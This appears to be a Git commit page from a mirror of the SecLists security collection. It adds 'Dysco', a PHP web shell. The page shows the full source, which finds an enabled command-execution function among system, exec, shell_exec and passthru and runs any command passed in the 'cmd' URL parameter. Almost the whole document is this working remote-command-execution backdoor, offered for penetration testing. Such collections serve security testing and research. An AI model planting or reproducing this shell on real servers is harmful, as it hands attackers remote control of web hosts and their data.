sync/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2025-04-28 09:46:29 -04:00
Code Issues Projects Releases Packages Wiki Activity Actions 2

Add Dysco(Dynamic PHP Shell Command for RCE)

Browse source 
Dysco(Dynamic PHP Shell Command for RCE). This is example PHP Shell with support for dynamic RCE command, it's useful when you are don't know which php function is disabled.
This commit is contained in:
Aan 2022-05-06 01:42:28 +07:00 • committed by GitHub
parent 4eb28683ab
commit 697ff095b7
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 59 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

59
Web-Shells/PHP/Dysco.php Normal file
View file

@ -0,0 +1,59 @@
<?php
/*
* Dysco(Dynamic PHP Shell Command for RCE)
* Created by Petruknisme @2020
* Contact: me@petruknisme.com
*/
function Dysco($command)
{
$list_function_shell = array("system", "exec", "shell_exec", "passthru", "eval");
$f_enabled = array_filter($list_function_shell, 'function_exists');
echo "Enabled Function:\n<br/>";
foreach($f_enabled as $f)
{
echo $f." ";
}
if($f_enabled !== ""){
$f = $f_enabled[0];
echo "<br/>\nUsing ". $f. " as shell command\n<br/>";
if($f == "system" || $f == "passthru"){
// disable multiple output for system
ob_start();
$output = $f($command, $status);
ob_clean();
}
else if($f == "exec"){
$f($command, $output, $status);
$output = implode("n", $output);
}
else if($f == "shell_exec"){
$output = $f($command);
}
else{
$output = "Command execution not possible. All supported function is disabled.";
$status = 1;
}
}
return array('output' => $output , 'status' => $status);
}
// for HTTP GET use this.
if(isset($_GET['cmd'])){
$o = Dysco($_GET['cmd']);
echo $o['output'];
}
// for debugging in local, use this
//$o = shell_spawn('uname -a');
//echo $o['output'];
?>